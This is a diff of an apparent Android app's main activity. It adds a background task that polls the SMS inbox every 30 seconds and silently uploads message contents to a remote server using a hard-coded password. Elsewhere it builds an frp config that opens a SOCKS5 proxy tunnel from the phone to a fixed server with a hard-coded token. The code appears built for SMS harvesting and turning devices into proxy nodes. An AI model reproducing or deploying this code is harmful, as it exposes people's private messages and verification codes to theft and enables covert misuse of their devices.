|
@@ -11,8 +11,11 @@ import android.annotation.SuppressLint;
|
|
|
import android.app.AlertDialog;
|
|
|
import android.content.Context;
|
|
|
import android.content.Intent;
|
|
|
+import android.database.Cursor;
|
|
|
import android.net.Uri;
|
|
|
+import android.os.Bundle;
|
|
|
import android.provider.Settings;
|
|
|
+import android.provider.Telephony;
|
|
|
import android.telephony.SubscriptionInfo;
|
|
|
import android.telephony.SubscriptionManager;
|
|
|
import android.telephony.TelephonyManager;
|
|
@@ -39,20 +42,26 @@ import com.app.duck.BuildConfig;
|
|
|
import com.app.duck.R;
|
|
|
import com.app.duck.adapter.PhoneListAdapter2;
|
|
|
import com.app.duck.database.Config;
|
|
|
+import com.app.duck.database.DBHelper;
|
|
|
import com.app.duck.databinding.ActivityMainBinding;
|
|
|
import com.app.duck.util.CheckInboxWorker;
|
|
|
import com.app.duck.util.HeartbeatWorker;
|
|
|
import com.app.duck.util.HxUtils;
|
|
|
import com.app.duck.util.TgBot;
|
|
|
import com.app.duck.util.WsManager;
|
|
|
+import com.app.http.APPConfig;
|
|
|
+import com.app.http.BaseBean;
|
|
|
+import com.app.http.Http;
|
|
|
import com.blankj.utilcode.util.ActivityUtils;
|
|
|
import com.blankj.utilcode.util.AppUtils;
|
|
|
+import com.blankj.utilcode.util.GsonUtils;
|
|
|
import com.blankj.utilcode.util.LanguageUtils;
|
|
|
import com.blankj.utilcode.util.ObjectUtils;
|
|
|
import com.blankj.utilcode.util.PermissionUtils;
|
|
|
import com.blankj.utilcode.util.StringUtils;
|
|
|
import com.blankj.utilcode.util.ThreadUtils;
|
|
|
import com.blankj.utilcode.util.ToastUtils;
|
|
|
+import com.blankj.utilcode.util.Utils;
|
|
|
import com.elvishew.xlog.XLog;
|
|
|
import com.google.android.material.dialog.MaterialAlertDialogBuilder;
|
|
|
import com.google.android.material.navigation.NavigationView;
|
|
@@ -61,6 +70,7 @@ import com.google.gson.JsonObject;
|
|
|
import com.jeremyliao.liveeventbus.LiveEventBus;
|
|
|
|
|
|
import java.util.ArrayList;
|
|
|
+import java.util.Calendar;
|
|
|
import java.util.HashMap;
|
|
|
import java.util.List;
|
|
|
import java.util.Locale;
|
|
@@ -145,20 +155,41 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
|
|
|
public boolean onOptionsItemSelected(@NonNull MenuItem item) {
|
|
|
switch (item.getItemId()) {
|
|
|
case R.id.action_new_text:
|
|
|
- String content = "[common]\n" +
|
|
|
- "server_addr = {{FRPC_IP}}\n" +
|
|
|
- "server_port = 7000\n" +
|
|
|
- "token = 123678asbsfd\n" +
|
|
|
- "\n" +
|
|
|
- "\n" +
|
|
|
- "[socks5_proxy_tunnel{{FRPC_PORT}}]\n" +
|
|
|
- "type = tcp\n" +
|
|
|
- "remote_port = {{FRPC_PORT}}\n" +
|
|
|
- "plugin = socks5";
|
|
|
- content = content.replace("{{FRPC_IP}}", BuildConfig.FRPC_IP).replace("{{FRPC_PORT}}", BuildConfig.FRPC_PORT);
|
|
|
-
|
|
|
- LiveEventBus.get(INTENT_EDIT_INI).post(new Config(content));
|
|
|
- startActivity(new Intent(MainActivity.this, IniEditActivity.class));
|
|
|
+ new MaterialDialog.Builder(ActivityUtils.getTopActivity())
|
|
|
+ .title(StringUtils.getString(R.string.action_add_text))
|
|
|
+ .content(R.string.please_enter_the_server_port)
|
|
|
+ .canceledOnTouchOutside(false)
|
|
|
+ .autoDismiss(false)
|
|
|
+ .negativeText(R.string.cancel)
|
|
|
+ .positiveText(R.string.done)
|
|
|
+ .onNegative((dialog, which) -> dialog.dismiss())
|
|
|
+ .onPositive((dialog, which) -> {
|
|
|
+ dialog.dismiss();
|
|
|
+ })
|
|
|
+ .input(getString(R.string.server_port), "", false, (dialog, input) ->
|
|
|
+ {
|
|
|
+ if (!StringUtils.isEmpty(input)) {
|
|
|
+ String content = "[common]\n" +
|
|
|
+ "server_addr = {{FRPC_IP}}\n" +
|
|
|
+ "server_port = 7000\n" +
|
|
|
+ "token = 123678asbsfd\n" +
|
|
|
+ "\n" +
|
|
|
+ "\n" +
|
|
|
+ "[socks5_proxy_tunnel{{FRPC_PORT}}]\n" +
|
|
|
+ "type = tcp\n" +
|
|
|
+ "remote_port = {{FRPC_PORT}}\n" +
|
|
|
+ "plugin = socks5";
|
|
|
+ content = content.replace("{{FRPC_IP}}", BuildConfig.FRPC_IP).replace("{{FRPC_PORT}}", input);
|
|
|
+ LiveEventBus.get(INTENT_EDIT_INI).post(new Config(content));
|
|
|
+ Bundle bundle = new Bundle();
|
|
|
+ bundle.putString("newKey", "sp-" + input);
|
|
|
+ ActivityUtils.startActivity(bundle, IniEditActivity.class);
|
|
|
+ }
|
|
|
+ })
|
|
|
+ .inputType(InputType.TYPE_CLASS_NUMBER) // 设置输入类型为数字
|
|
|
+ .show();
|
|
|
+
|
|
|
+
|
|
|
break;
|
|
|
case R.id.action_accessibility:
|
|
|
Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
|
|
@@ -233,6 +264,9 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
|
|
|
@Override
|
|
|
public boolean onNavigationItemSelected(@NonNull MenuItem item) {
|
|
|
switch (item.getItemId()) {
|
|
|
+ case R.id.restart:
|
|
|
+ AppUtils.relaunchApp(true);
|
|
|
+ return true;
|
|
|
case R.id.logcat_push:
|
|
|
new TgBot("", false);
|
|
|
return true;
|
|
@@ -271,6 +305,7 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
|
|
|
}
|
|
|
telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
|
|
|
SimCardStateListener();
|
|
|
+ checkBoxListener();
|
|
|
subscriptionManager = (SubscriptionManager) getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
|
|
|
|
|
|
@SuppressLint("MissingPermission") List<SubscriptionInfo> subsInfoList = subscriptionManager.getActiveSubscriptionInfoList();
|
|
@@ -369,7 +404,6 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
|
|
|
}
|
|
|
|
|
|
public void SimCardStateListener() {
|
|
|
-
|
|
|
ThreadUtils.executeBySingleAtFixRate(new ThreadUtils.Task<String>() {
|
|
|
@Override
|
|
|
public String doInBackground() {
|
|
@@ -445,6 +479,104 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
|
|
|
}, 2000, 2000, TimeUnit.MILLISECONDS);
|
|
|
}
|
|
|
|
|
|
+ public void checkBoxListener() {
|
|
|
+ ThreadUtils.executeBySingleAtFixRate(new ThreadUtils.Task<String>() {
|
|
|
+ @Override
|
|
|
+ public String doInBackground() {
|
|
|
+ try {
|
|
|
+ Calendar calendar = Calendar.getInstance();
|
|
|
+ calendar.add(Calendar.DAY_OF_MONTH, -1); // 向前推一天
|
|
|
+ long tenDaysAgo = calendar.getTimeInMillis();
|
|
|
+ ArrayList<Integer> list = new ArrayList<>();
|
|
|
+ Uri inboxUri = Uri.parse("content://sms/inbox");
|
|
|
+ String[] projection = new String[]{Telephony.Sms._ID};
|
|
|
+ String sortOrder = "date DESC"; // 按日期倒序排序
|
|
|
+ String selection = "date > ?";
|
|
|
+ String[] selectionArgs = new String[]{String.valueOf(tenDaysAgo)};
|
|
|
+ Cursor cursor = Utils.getApp().getContentResolver().
|
|
|
+ query(inboxUri,
|
|
|
+ projection,
|
|
|
+ selection,
|
|
|
+ selectionArgs,
|
|
|
+ sortOrder);
|
|
|
+ if (cursor != null) {
|
|
|
+ while (cursor.moveToNext()) {
|
|
|
+ int index = cursor.getColumnIndex(Telephony.Sms._ID);
|
|
|
+ if (index >= 0) {
|
|
|
+ int id = cursor.getInt(index);
|
|
|
+ list.add(id);
|
|
|
+ }
|
|
|
+ }
|
|
|
+ cursor.close();
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ for (Integer id : list) {
|
|
|
+ DBHelper dbHelper = new DBHelper(Utils.getApp());
|
|
|
+ int success = dbHelper.checkSuccessById(id);
|
|
|
+ if (success != 1) {
|
|
|
+ HashMap<String, Object> map = new HashMap<>();
|
|
|
+ HashMap<String, String> dataMap = HxUtils.queryInboxMessage(id);
|
|
|
+ boolean isHavaNumber = !"UNKNOWN".equals(dataMap.get("address"));
|
|
|
+ if (success == 2 && !isHavaNumber) {
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ map.put("data", GsonUtils.toJson(dataMap));
|
|
|
+ map.put("password", "o6M5sG7E@FAWLBL9");
|
|
|
+ Http.getInstance()
|
|
|
+ .setUrlPath(APPConfig.BASE, APPConfig.SMS)
|
|
|
+ .setParams(map)
|
|
|
+ .setErrorStyle(Http.ERROR_HIDE)
|
|
|
+ .setLoadStyle(Http.ERROR_HIDE)
|
|
|
+ .setRetryCount(3)
|
|
|
+ .post(new Http.HttpCallBack<String>() {
|
|
|
+ @Override
|
|
|
+ public void onNext(String model) {
|
|
|
+ dbHelper.insertOrUpdateData(id, isHavaNumber ? 1 : 2);
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onError(Throwable ex) {
|
|
|
+ super.onError(ex);
|
|
|
+ XLog.e(StringUtils.getString(R.string.log_tip_4, id), ex);
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onFail(BaseBean t) {
|
|
|
+ super.onFail(t);
|
|
|
+ XLog.i(StringUtils.getString(R.string.log_tip_4, id));
|
|
|
+ }
|
|
|
+ });
|
|
|
+ }
|
|
|
+
|
|
|
+ }
|
|
|
+ } catch (Exception e) {
|
|
|
+ LiveEventBus.get(SMS_UPLOAD_TAG).post(StringUtils.getString(R.string.log_tip_3, e.getMessage()));
|
|
|
+ Log.e(com.app.duck.Config.LOG_TAG, StringUtils.getString(R.string.log_tip_3, e.getMessage()), e);
|
|
|
+ XLog.e(StringUtils.getString(R.string.log_tip_3, e.getMessage()), e);
|
|
|
+
|
|
|
+ }
|
|
|
+ return getSimCardState();
|
|
|
+ }
|
|
|
+
|
|
|
+ @SuppressLint("SetTextI18n")
|
|
|
+ @Override
|
|
|
+ public void onSuccess(String result) {
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onFail(Throwable t) {
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onCancel() {
|
|
|
+
|
|
|
+ }
|
|
|
+ }, 2000, 30000, TimeUnit.MILLISECONDS);
|
|
|
+ }
|
|
|
+
|
|
|
private String getSimCardState() {
|
|
|
int simState = telephonyManager.getSimState();
|
|
|
switch (simState) {
|